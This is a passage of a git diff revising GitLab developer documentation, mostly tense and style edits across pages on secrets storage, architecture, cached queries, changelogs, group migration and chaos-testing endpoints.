+| `encrypted_settings_key_base` | The base key to encrypt settings files with |
## Where the secrets are stored
|Installation type |Location |
|--- |--- |
|Omnibus |[`/etc/gitlab/gitlab-secrets.json`](https://docs.gitlab.com/omnibus/settings/backups.html#backup-and-restore-omnibus-gitlab-configuration) |
-|Cloud Native GitLab Charts |[Kubernets Secrets](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/f65c3d37fc8cf09a7987544680413552fb666aac/doc/installation/secrets.md#gitlab-rails-secret)|
+|Cloud Native GitLab Charts |[Kubernetes Secrets](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/f65c3d37fc8cf09a7987544680413552fb666aac/doc/installation/secrets.md#gitlab-rails-secret)|
|Source |`<path-to-gitlab-rails>/config/secrets.yml` (Automatically generated by [01_secret_token.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/initializers/01_secret_token.rb)) |
## Warning: Before you add a new secret to application secrets
Before you add a new secret to [`config/initializers/01_secret_token.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/initializers/01_secret_token.rb),
-make sure you also update Omnibus GitLab or updates will fail. Omnibus is responsible for writing the `secrets.yml` file.
-If Omnibus doesn't know about a secret, Rails will attempt to write to the file, but this will fail because Rails doesn't have write access.
+make sure you also update Omnibus GitLab or updates fail. Omnibus is responsible for writing the `secrets.yml` file.
+If Omnibus doesn't know about a secret, Rails attempts to write to the file, but this fails because Rails doesn't have write access.
The same rules apply to Cloud Native GitLab charts, you must update the charts at first.
In case you need the secret to have same value on each node (which is usually the case) you need to make sure it's configured for all
GitLab.com environments prior to changing this file.
@@ -43,5 +44,5 @@ GitLab.com environments prior to changing this file.
## Further iteration
-We might deprecate/remove this automatic secret generation '01_secret_token.rb' in the future.
-Please see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/222690) for more information.
+We may either deprecate or remove this automatic secret generation `01_secret_token.rb` in the future.
+Please see [issue 222690](https://gitlab.com/gitlab-org/gitlab/-/issues/222690) for more information.
diff --git a/doc/development/approval_rules.md b/doc/development/approval_rules.md
index d190f2b7c63..542bce1cb97 100644
--- a/doc/development/approval_rules.md
+++ b/doc/development/approval_rules.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Approval Rules **(STARTER)**
@@ -18,7 +18,7 @@ can change often. The code should explain those things better. The components
mentioned here are the major parts of the application for the approval rules
feature to work.
-NOTE: **Note:**
+NOTE:
This is a living document and should be updated accordingly when parts
of the codebase touched in this document are changed or removed, or when new components
are added.
diff --git a/doc/development/architecture.md b/doc/development/architecture.md
index a1097ad4ed6..f8ab97de848 100644
--- a/doc/development/architecture.md
+++ b/doc/development/architecture.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab architecture overview
@@ -94,7 +94,7 @@ The simplest way to ensure this, is to add support for your feature or service t
### Simplified component overview
This is a simplified architecture diagram that can be used to
-understand GitLab's architecture.
+understand the GitLab architecture.
A complete architecture diagram is available in our
[component diagram](#component-diagram) below.
@@ -236,7 +236,7 @@ Table description links:
| [Certificate Management](#certificate-management) | TLS Settings, Let's Encrypt | ✅ | ✅ | ⚙ | ✅ | ⚙ | ⚙ | CE & EE |
| [Consul](#consul) | Database node discovery, failover | ⚙ | ⌠| ⌠| ✅ | ⌠| ⌠| EE Only |
| [Database Migrations](#database-migrations) | Database migrations | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE |
-| [Elasticsearch](#elasticsearch) | Improved search within GitLab | ⤓ | ⤓ | ⤓ | ⌠| ⤓ | ⤓ | EE Only |
+| [Elasticsearch](#elasticsearch) | Improved search within GitLab | ⤓ | ⤓ | ⤓ | ✅ | ⤓ | ⤓ | EE Only |
| [Gitaly](#gitaly) | Git RPC service for handling all Git calls made by GitLab | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE |
| [GitLab Exporter](#gitlab-exporter) | Generates a variety of GitLab metrics | ✅ | ✅ | ✅ | ✅ | ⌠| ⌠| CE & EE |
| [GitLab Geo Node](#gitlab-geo) | Geographically distributed GitLab nodes | ⚙ | ⚙ | ⌠| ✅ | ⌠| ⚙ | EE Only |
@@ -282,8 +282,8 @@ When deployed, GitLab should be considered the amalgamation of the below process
GitLab can be considered to have two layers from a process perspective:
-- **Monitoring**: Anything from this layer is not required to deliver GitLab the application, but will allow administrators more insight into their infrastructure and what the service as a whole is doing.
-- **Core**: Any process that is vital for the delivery of GitLab as a platform. If any of these processes halt there will be a GitLab outage. For the Core layer, you can further divide into:
+- **Monitoring**: Anything from this layer is not required to deliver GitLab the application, but allows administrators more insight into their infrastructure and what the service as a whole is doing.
+- **Core**: Any process that is vital for the delivery of GitLab as a platform. If any of these processes halt, a GitLab outage results. For the Core layer, you can further divide into:
- **Processors**: These processes are responsible for actually performing operations and presenting the service.
- **Data**: These services store/expose structured data for the GitLab service.
@@ -297,7 +297,7 @@ GitLab can be considered to have two layers from a process perspective:
- Process: `alertmanager`
- GitLab.com: [Monitoring of GitLab.com](https://about.gitlab.com/handbook/engineering/monitoring/)
-[Alert manager](https://prometheus.io/docs/alerting/latest/alertmanager/) is a tool provided by Prometheus that _"handles alerts sent by client applications such as the Prometheus server. It takes care of deduplicating, grouping, and routing them to the correct receiver integration such as email, PagerDuty, or Opsgenie. It also takes care of silencing and inhibition of alerts."_ You can read more in [issue #45740](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45740) about what we will be alerting on.
+[Alert manager](https://prometheus.io/docs/alerting/latest/alertmanager/) is a tool provided by Prometheus that _"handles alerts sent by client applications such as the Prometheus server. It takes care of deduplicating, grouping, and routing them to the correct receiver integration such as email, PagerDuty, or Opsgenie. It also takes care of silencing and inhibition of alerts."_ You can read more in [issue #45740](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45740) about what we alert on.
#### Certificate management
@@ -340,7 +340,7 @@ Consul is a tool for service discovery and configuration. Consul is distributed,
- [Source](../integration/elasticsearch.md)
- [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/elasticsearch.md)
- Layer: Core Service (Data)
-- GitLab.com: [Get Advanced Search working on GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/153) epic.
+- GitLab.com: [Get Advanced Search working on GitLab.com (Closed)](https://gitlab.com/groups/gitlab-org/-/epics/153) epic.
Elasticsearch is a distributed RESTful search engine built for the cloud.
@@ -434,7 +434,7 @@ GitLab CI/CD is the open-source continuous integration service included with Git
#### GitLab Shell
-- [Project page](https://gitlab.com/gitlab-org/gitlab-shell/blob/master/README.md)
+- [Project page](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/README.md)
- Configuration:
- [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template)
- [Charts](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/)
@@ -600,7 +600,7 @@ GitLab packages the popular Database to provide storage for Application meta dat
- Process: `postgres-exporter`
- GitLab.com: [Monitoring of GitLab.com](https://about.gitlab.com/handbook/engineering/monitoring/)
-[`postgres_exporter`](https://github.com/wrouesnel/postgres_exporter) is the community provided Prometheus exporter that will deliver data about PostgreSQL to Prometheus for use in Grafana Dashboards.
+[`postgres_exporter`](https://github.com/wrouesnel/postgres_exporter) is the community provided Prometheus exporter that delivers data about PostgreSQL to Prometheus for use in Grafana Dashboards.
#### Prometheus
@@ -656,10 +656,10 @@ Redis is packaged to provide a place to store:
The registry is what users use to store their own Docker images. The bundled
registry uses NGINX as a load balancer and GitLab as an authentication manager.
-Whenever a client requests to pull or push an image from the registry, it will
-return a `401` response along with a header detailing where to get an
-authentication token, in this case the GitLab instance. The client will then
-request a pull or push auth token from GitLab and retry the original request
+Whenever a client requests to pull or push an image from the registry, it
+returns a `401` response along with a header detailing where to get an
+authentication token, in this case the GitLab instance. The client then
+requests a pull or push auth token from GitLab and retries the original request
to the registry. Learn more about [token authentication](https://docs.docker.com/registry/spec/auth/token/).
An external registry can also be configured to use GitLab as an auth endpoint.
@@ -710,7 +710,7 @@ disabled by default.
- Process: `puma`
- GitLab.com: [Puma](../user/gitlab_com/index.md#puma)
-[Puma](https://puma.io/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often process output you will see this as `bundle` or `config.ru` depending on the GitLab version.
+[Puma](https://puma.io/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often this displays in process output as `bundle` or `config.ru` depending on the GitLab version.
#### Unicorn
@@ -727,7 +727,7 @@ disabled by default.
- Process: `unicorn`
- GitLab.com: [Unicorn](../user/gitlab_com/index.md#unicorn)
-[Unicorn](https://yhbt.net/unicorn/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often process output you will see this as `bundle` or `config.ru` depending on the GitLab version.
+[Unicorn](https://yhbt.net/unicorn/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often this displays in process output as `bundle` or `config.ru` depending on the GitLab version.
#### LDAP Authentication
@@ -792,16 +792,16 @@ It's important to understand the distinction as some processes are used in both
### GitLab Web HTTP request cycle
-When making a request to an HTTP Endpoint (think `/users/sign_in`) the request will take the following path through the GitLab Service:
+When making a request to an HTTP Endpoint (think `/users/sign_in`) the request takes the following path through the GitLab Service:
- NGINX - Acts as our first line reverse proxy.
- GitLab Workhorse - This determines if it needs to go to the Rails application or somewhere else to reduce load on Puma.
-- Puma - Since this is a web request, and it needs to access the application it will go to Puma.
+- Puma - Since this is a web request, and it needs to access the application, it routes to Puma.
- PostgreSQL/Gitaly/Redis - Depending on the type of request, it may hit these services to store or retrieve data.
### GitLab Git request cycle
-Below we describe the different paths that HTTP vs. SSH Git requests will take. There is some overlap with the Web Request Cycle but also some differences.
+Below we describe the different paths that HTTP vs. SSH Git requests take. There is some overlap with the Web Request Cycle but also some differences.
### Web request (80/443)
diff --git a/doc/development/auto_devops.md b/doc/development/auto_devops.md
index bf259e47cb1..c457573b87a 100644
--- a/doc/development/auto_devops.md
+++ b/doc/development/auto_devops.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Auto DevOps development guide
diff --git a/doc/development/background_migrations.md b/doc/development/background_migrations.md
index 86a2aed5ea1..3ef5bf382b8 100644
--- a/doc/development/background_migrations.md
+++ b/doc/development/background_migrations.md
@@ -36,7 +36,7 @@ Some examples where background migrations can be useful:
- Populating one column based on JSON stored in another column.
- Migrating data that depends on the output of external services (e.g. an API).
-NOTE: **Note:**
+NOTE:
If the background migration is part of an important upgrade, make sure it's announced
in the release post. Discuss with your Project Manager if you're not sure the migration falls
into this category.
@@ -144,7 +144,7 @@ once.
## Cleaning Up
-NOTE: **Note:**
+NOTE:
Cleaning up any remaining background migrations _must_ be done in either a major
or minor release, you _must not_ do this in a patch release.
diff --git a/doc/development/build_test_package.md b/doc/development/build_test_package.md
index e99915a24d0..421ee5d0c84 100644
--- a/doc/development/build_test_package.md
+++ b/doc/development/build_test_package.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Building a package for testing
@@ -13,7 +13,7 @@ pipeline that can be used to trigger a pipeline in the Omnibus GitLab repository
that will create:
- A deb package for Ubuntu 16.04, available as a build artifact, and
-- A Docker image, which is pushed to [Omnibus GitLab's container
+- A Docker image, which is pushed to the [Omnibus GitLab container
registry](https://gitlab.com/gitlab-org/omnibus-gitlab/container_registry)
(images titled `gitlab-ce` and `gitlab-ee` respectively and image tag is the
commit which triggered the pipeline).
diff --git a/doc/development/bulk_import.md b/doc/development/bulk_import.md
new file mode 100644
index 00000000000..40e4af923ea
--- /dev/null
+++ b/doc/development/bulk_import.md
@@ -0,0 +1,53 @@
+---
+stage: Manage
+group: Import
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# GitLab Group Migration
+
+[Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2771) in GitLab 13.7.
+
+WARNING:
+This feature is [under construction](https://gitlab.com/groups/gitlab-org/-/epics/2771) and its API/Architecture might change in the future.
+
+GitLab Group Migration is the evolution of Project and Group Import functionality. The
+goal is to have an easier way to the user migrate a whole Group, including
+Projects, from one GitLab instance to another.
+
+## Design decisions
+
+### Overview
+
+The following architectural diagram illustrates how the Group Migration
+works with a set of [ETL](#etl) Pipelines leveraging from the current [GitLab APIs](#api).
+
+![Simplified Component Overview](img/bulk_imports_overview_v13_7.png)
+
+### [ETL](https://www.ibm.com/cloud/learn/etl)
+
+<!-- Direct quote from the IBM URL link -->
+
+> ETL, for extract, transform and load, is a data integration process that
+> combines data from multiple data sources into a single, consistent data store
+> that is loaded into a data warehouse or other target system.
+
+Using ETL architecture makes the code more explicit and easier to follow, test and extend. The
+idea is to have one ETL pipeline for each relation to be imported.
+
+### API
+
+The current [Project](../user/project/settings/import_export.md) and [Group](../user/group/settings/import_export.md) Import are file based, so they require an export
+step to generate the file to be imported.
+
+GitLab Group migration leverages on [GitLab API](../api/README.md) to speed the migration.
+
+And, because we're on the road to [GraphQL](../api/README.md#road-to-graphql),
+GitLab Group Migration will be contributing towards to expand the GraphQL API coverage, which benefits both GitLab
+and its users.
+
+### Namespace
+
+The migration process starts with the creation of a [`BulkImport`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/bulk_import.rb)
+record to keep track of the migration. From there all the code related to the
+GitLab Group Migration can be found under the new `BulkImports` namespace in all the application layers.
diff --git a/doc/development/cached_queries.md b/doc/development/cached_queries.md
index 812e5f88754..4f82d721164 100644
--- a/doc/development/cached_queries.md
+++ b/doc/development/cached_queries.md
@@ -1,80 +1,101 @@
-# Cached queries guidelines
+---
+stage: none
+group: unassigned
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
-Rails provides an [SQL query cache](https://guides.rubyonrails.org/caching_with_rails.html#sql-caching),
-used to cache the results of database queries for the duration of the request.
+# Cached queries guidelines
-If Rails encounters the same query again for that request,
-it will use the cached result set as opposed to running the query against the database again.
+Rails provides an [SQL query cache](https://guides.rubyonrails.org/caching_with_rails.html#sql-caching)
+which is used to cache the results of database queries for the duration of a request.
+When Rails encounters the same query again within the same request, it uses the cached
+result set instead of running the query against the database again.
-The query results are only cached for the duration of that single request, it does not persist across multiple requests.
+The query results are only cached for the duration of that single request, and
+don't persist across multiple requests.
## Why cached queries are considered bad
-The cached queries help with reducing DB load, but they still:
+Cached queries help by reducing the load on the database, but they still:
- Consume memory.
-- Require as to re-instantiate each `ActiveRecord` object.
-- Require as to re-instantiate each relation of the object.
-- Make us spend additional CPU-cycles to look into a list of cached queries.
-
-The Cached SQL queries are cheaper, but they are not cheap at all from `memory` perspective.
-They could mask [N+1 query problem](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations),
-so we should threat them the same way we threat regular N+1 queries.
+- Require Rails to re-instantiate each `ActiveRecord` object.
+- Require Rails to re-instantiate each relation of the object.
+- Make us spend additional CPU cycles to look into a list of cached queries.
+
+Although cached queries are cheaper from a database perspective, they are potentially
+more expensive from a memory perspective. They could mask
+[N+1 query problems](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations),
+so you should treat them the same way you treat regular N+1 queries.
-In case of N+1 queries, masked with cached queries, we are executing the same query N times.
-It will not hit the database N times, it will return the cached results instead.
-This is still expensive since we need to re-initialize objects each time, and this is CPU/Memory expensive.
-Instead, we should use the same in-memory objects, if possible.
+In cases of N+1 queries masked by cached queries, the same query is executed N times.
+It doesn't hit the database N times but instead returns the cached results N times.
+This is still expensive because you need to re-initialize objects each time at a
+greater expense to the CPU and memory resources. Instead, you should use the same
+in-memory objects whenever possible.
-When we introduce a new feature, we should avoid N+1 problems,
-minimize the [query count](merge_request_performance_guidelines.md#query-counts), and pay special attention that [cached
-queries](merge_request_performance_guidelines.md#cached-queries) are not masking N+1 problems.
+When you introduce a new feature, you should:
-## How to detect
+- Avoid N+1 queries.
+- Minimize the [query count](merge_request_performance_guidelines.md#query-counts).
+- Pay special attention to ensure
+ [cached queries](merge_request_performance_guidelines.md#cached-queries) are not
+ masking N+1 problems.
+
+## How to detect cached queries
### Detect potential offenders by using Kibana
-On GitLab.com, we are logging entries with the number of executed cached queries in the
-`pubsub-redis-inf-gprd*` index with the [`db_cached_count`](https://log.gprd.gitlab.net/goto/77d18d80ad84c5df1bf1da5c2cd35b82).
-We can filter endpoints that have a large number of executed cached queries. For example, if we encounter an endpoint
-that has 100+ `db_cached_count`, this could indicate that there is an N+1 problem masked with cached queries.
-We should probably investigate this endpoint further, to check if we are executing duplicated cached queries.
+GitLab.com, logs entries with the number of executed cached queries in the
+`pubsub-redis-inf-gprd*` index as
+[`db_cached_count`](https://log.gprd.gitlab.net/goto/77d18d80ad84c5df1bf1da5c2cd35b82).
+You can filter by endpoints that have a large number of executed cached queries. For
+example, an endpoint with a `db_cached_count` greater than 100 can indicate an N+1 problem which
+is masked by cached queries. You should investigate this endpoint further to determine
+if it is indeed executing duplicated cached queries.
+
+For more Kibana visualizations related to cached queries, read
+[issue #259007, 'Provide metrics that would help us to detect the potential N+1 CACHED SQL calls'](https://gitlab.com/gitlab-org/gitlab/-/issues/259007).
-For more cached queries Kibana visualizations see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/259007).
+### Inspect suspicious endpoints using the Performance Bar
-### Inspect suspicious endpoint using Performance Bar
+When building features, use the
+[performance bar](../administration/monitoring/performance/performance_bar.md)
+to view the list of database queries, including cached queries. The
+performance bar shows a warning when the number of total executed and cached queries is
+greater than 100.
-When building features, you could use the [performance bar](../administration/monitoring/performance/performance_bar.md)
-to list database queries, which will include cached queries as well. The performance bar will show a warning
-when threshold of total executed queries (including cached ones) has exceeded 100 queries.
+To learn more about the statistics available to you, read the
+[Performance Bar documentation](../administration/monitoring/performance/performance_bar.md).
## What to look for
-Using [Kibana](cached_queries.md#detect-potential-offenders-by-using-kibana), you can look for a large number
-of executed cached queries. End-points with large number of `db_cached_count` could indicate that there
-are probably a lot of duplicated cached queries, which often indicates a masked N+1 problem.
+Using [Kibana](#detect-potential-offenders-by-using-kibana), you can look for a large number
+of executed cached queries. Endpoints with a large `db_cached_count` could suggest a large number
+of duplicated cached queries, which often indicates a masked N+1 problem.
-When you investigate specific endpoint, you could use
-the [performance bar](cached_queries.md#inspect-suspicious-endpoint-using-performance-bar).
-If you see a lot of similar queries, this often indicates an N+1 query issue (or a similar kind of query batching problem).
-If you see same cached query executed multiple times, this often indicates a masked N+1 query problem.
+When you investigate a specific endpoint, use
+the [performance bar](#inspect-suspicious-endpoints-using-the-performance-bar)
+to identify similar and cached queries, which may also indicate an N+1 query issue
+(or a similar kind of query batching problem).
-For example, let's say you wanted to debug `GroupMembers` page.
+### An example
-In the left corner of the performance bar you could see **Database queries** showing the total number of database queries
+For example, let's debug the "Group Members" page. In the left corner of the
+performance bar, **Database queries** shows the total number of database queries
and the number of executed cached queries:
![Performance Bar Database Queries](img/performance_bar_members_page.png)
-We can see that there are 55 cached queries. By clicking on the number, a modal window with more details is shown.
-Cached queries are marked with the `cached` label, so they are easy to spot. We can see that there are multiple duplicated
-cached queries:
+The page included 55 cached queries. Clicking the number displays a modal window
+with more details about queries. Cached queries are marked with the `cached` label
+below the query. You can see multiple duplicate cached queries in this modal window:
![Performance Bar Cached Queries Modal](img/performance_bar_cached_queries.png)
-If we click on `...` for one of them, it will expand the actual stack trace:
+Click **...** to expand the actual stack trace:
-```shell
+```ruby
[
"app/models/group.rb:305:in `has_owner?'",
"ee/app/views/shared/members/ee/_license_badge.html.haml:1",
@@ -99,24 +120,30 @@ If we click on `...` for one of them, it will expand the actual stack trace:
]
```
-The stack trace, shows us that we obviously have an N+1 problem, since we are repeatably executing for each group member:
+The stack trace shows an N+1 problem, because the code repeatedly executes
+`group.has_owner?(current_user)` for each group member. To solve this issue,
+move the repeated line of code outside of the loop, passing the result to each rendered member instead:
-```ruby
-group.has_owner?(current_user)
-```
+```erb
+- current_user_is_group_owner = @group && @group.has_owner?(current_user)
-This is easily solvable by extracting this check, above the loop.
+= render partial: 'shared/members/member',
+ collection: @members, as: :member,
+ locals: { membership_source: @group,
+ group: @group,
+ current_user_is_group_owner: current_user_is_group_owner }
+```
-After [the fix](https://gitlab.com/gitlab-org/gitlab/-/issues/231468), we now have:
+After [fixing the cached query](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44626/diffs#27c2761d66e496495be07d0925697f7e62b5bd14), the performance bar now shows only
+6 cached queries:
![Performance Bar Fixed Cached Queries](img/performance_bar_fixed_cached_queries.png)
## How to measure the impact of the change
-We can use the [memory profiler](performance.md#using-memory-profiler) to profile our code.
-For the previous example, we could wrap the profiler around the `Groups::GroupMembersController#index` action.
-
-We had:
+Use the [memory profiler](performance.md#using-memory-profiler) to profile your code.
+For [this example](#an-example), wrap the profiler around the `Groups::GroupMembersController#index` action. Before the fix, the application had
+the following statistics:
- Total allocated: 7133601 bytes (84858 objects)
- Total retained: 757595 bytes (6070 objects)
@@ -124,7 +151,8 @@ We had:
- `db_cached_count`: 55
- `db_duration`: 303ms
-After the fix, we can see that we have reduced the allocated memory as well as the number of cached queries and improved execution time:
+The fix reduced the allocated memory, and the number of cached queries. These
+factors help improve the overall execution time:
- Total allocated: 5313899 bytes (65290 objects), 1810KB (25%) less
- Total retained: 685593 bytes (5278 objects), 72KB (9%) less
@@ -132,7 +160,7 @@ After the fix, we can see that we have reduced the allocated memory as well as t
- `db_cached_count`: 6 (89% less)
- `db_duration`: 162ms (87% faster)
-## See also
+## For more information
- [Metrics that would help us detect the potential N+1 Cached SQL calls](https://gitlab.com/gitlab-org/gitlab/-/issues/259007)
- [Merge Request performance guidelines for cached queries](merge_request_performance_guidelines.md#cached-queries)
diff --git a/doc/development/changelog.md b/doc/development/changelog.md
index b8e879c1826..894ae5a1893 100644
--- a/doc/development/changelog.md
+++ b/doc/development/changelog.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Changelog entries
@@ -47,7 +47,7 @@ the `author` field. GitLab team members **should not**.
- Any user-facing change **must** have a changelog entry. This includes both visual changes (regardless of how minor), and changes to the rendered DOM which impact how a screen reader may announce the content.
- Any client-facing change to our REST and GraphQL APIs **must** have a changelog entry.
- Performance improvements **should** have a changelog entry.
-- Changes that need to be documented in the Product Analytics [Event Dictionary](https://about.gitlab.com/handbook/product/product-analytics-guide#event-dictionary)
+- Changes that need to be documented in the Product Analytics [Event Dictionary](https://about.gitlab.com/handbook/product/product-analytics-guide/#event-dictionary)
also require a changelog entry.
- _Any_ contribution from a community member, no matter how small, **may** have
a changelog entry regardless of these guidelines if the contributor wants one.
@@ -55,7 +55,7 @@ the `author` field. GitLab team members **should not**.
- Any docs-only changes **should not** have a changelog entry.
- Any change behind a disabled feature flag **should not** have a changelog entry.
- Any change behind an enabled feature flag **should** have a changelog entry.
-- Any change that adds new usage data metrics and changes that needs to be documented in Product Analytics [Event Dictionary](https://about.gitlab.com/handbook/product/product-analytics-guide#event-dictionary) **should** have a changelog entry.
+- Any change that adds new usage data metrics and changes that needs to be documented in Product Analytics [Event Dictionary](https://about.gitlab.com/handbook/product/product-analytics-guide/#event-dictionary) **should** have a changelog entry.
- A change that adds snowplow events **should** have a changelog entry -
- A change that [removes a feature flag](feature_flags/development.md) **should** have a changelog entry -
only if the feature flag did not default to true already.
@@ -118,7 +118,7 @@ Its simplest usage is to provide the value for `title`:
bin/changelog 'Hey DZ, I added a feature to GitLab!'
```
-If you want to generate a changelog entry for GitLab EE, you will need to pass
+If you want to generate a changelog entry for GitLab EE, you must pass
the `--ee` option:
```plaintext
@@ -144,10 +144,10 @@ At this point the script would ask you to select the category of the change (map
```
The entry filename is based on the name of the current Git branch. If you run
-the command above on a branch called `feature/hey-dz`, it will generate a
+the command above on a branch called `feature/hey-dz`, it generates a
`changelogs/unreleased/feature-hey-dz.yml` file.
-The command will output the path of the generated file and its contents:
+The command outputs the path of the generated file and its contents:
```plaintext
create changelogs/unreleased/my-feature.yml
@@ -175,7 +175,7 @@ type:
You can pass the **`--amend`** argument to automatically stage the generated
file and amend it to the previous commit.
-If you use **`--amend`** and don't provide a title, it will automatically use
+If you use **`--amend`** and don't provide a title, it uses
the "subject" of the previous commit, which is the first line of the commit
message:
diff --git a/doc/development/chaos_endpoints.md b/doc/development/chaos_endpoints.md
index 63218af857d..9104c01c980 100644
--- a/doc/development/chaos_endpoints.md
+++ b/doc/development/chaos_endpoints.md
@@ -1,14 +1,14 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Generating chaos in a test GitLab instance
As [Werner Vogels](https://twitter.com/Werner), the CTO at Amazon Web Services, famously put it, **Everything fails, all the time**.
-As a developer, it's as important to consider the failure modes in which your software will operate as much as normal operation. Doing so can mean the difference between a minor hiccup leading to a scattering of `500` errors experienced by a tiny fraction of users and a full site outage that affects all users for an extended period.
+As a developer, it's as important to consider the failure modes in which your software may operate as much as normal operation. Doing so can mean the difference between a minor hiccup leading to a scattering of `500` errors experienced by a tiny fraction of users, and a full site outage that affects all users for an extended period.
To paraphrase [Tolstoy](https://en.wikipedia.org/wiki/Anna_Karenina_principle), _all happy servers are alike, but all failing servers are failing in their own way_. Luckily, there are ways we can attempt to simulate these failure modes, and the chaos endpoints are tools for assisting in this process.
@@ -24,7 +24,7 @@ Currently, there are four endpoints for simulating the following conditions:
For obvious reasons, these endpoints are not enabled by default on `production`.
They are enabled by default on **development** environments.
-DANGER: **Warning:**
+WARNING:
It is required that you secure access to the chaos endpoints using a secret token.
You should not enable them in production unless you absolutely know what you're doing.
@@ -40,17 +40,17 @@ Replace `secret` with your own secret token.
## Invoking chaos
-Once you have enabled the chaos endpoints and restarted the application, you can start testing using the endpoints.
+After you have enabled the chaos endpoints and restarted the application, you can start testing using the endpoints.
-By default, when invoking a chaos endpoint, the web worker process which receives the request will handle it. This means, for example, that if the Kill
-operation is invoked, the Puma or Unicorn worker process handling the request will be killed. To test these operations in Sidekiq, the `async` parameter on
-each endpoint can be set to `true`. This will run the chaos process in a Sidekiq worker.
+By default, when invoking a chaos endpoint, the web worker process which receives the request handles it. This means, for example, that if the Kill
+operation is invoked, the Puma or Unicorn worker process handling the request is killed. To test these operations in Sidekiq, the `async` parameter on
+each endpoint can be set to `true`. This runs the chaos process in a Sidekiq worker.
## Memory leaks
To simulate a memory leak in your application, use the `/-/chaos/leakmem` endpoint.
-The memory is not retained after the request finishes. After the request has completed, the Ruby garbage collector will attempt to recover the memory.
+The memory is not retained after the request finishes. After the request has completed, the Ruby garbage collector attempts to recover the memory.
```plaintext
GET /-/chaos/leakmem
@@ -66,8 +66,8 @@ GET /-/chaos/leakmem?memory_mb=1024&duration_s=50&async=true
| `async` | boolean | no | Set to true to leak memory in a Sidekiq background worker process |
```shell
-curl http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10 --header 'X-Chaos-Secret: secret'
-curl http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10&token=secret
+curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10" --header 'X-Chaos-Secret: secret'
+curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10&token=secret"
```
## CPU spin
@@ -85,12 +85,12 @@ GET /-/chaos/cpu_spin?duration_s=50&async=true
| Attribute | Type | Required | Description |
| ------------ | ------- | -------- | --------------------------------------------------------------------- |
-| `duration_s` | integer | no | Duration, in seconds, that the core will be used. Defaults to 30s |
+| `duration_s` | integer | no | Duration, in seconds, that the core is used. Defaults to 30s |
| `async` | boolean | no | Set to true to consume CPU in a Sidekiq background worker process |
```shell
-curl http://localhost:3000/-/chaos/cpu_spin?duration_s=60 --header 'X-Chaos-Secret: secret'
-curl http://localhost:3000/-/chaos/cpu_spin?duration_s=60&token=secret
+curl "http://localhost:3000/-/chaos/cpu_spin?duration_s=60" --header 'X-Chaos-Secret: secret'
+curl "http://localhost:3000/-/chaos/cpu_spin?duration_s=60&token=secret"
```
## DB spin
@@ -110,19 +110,19 @@ GET /-/chaos/db_spin?duration_s=50&async=true
| Attribute | Type | Required | Description |
| ------------ | ------- | -------- | --------------------------------------------------------------------------- |
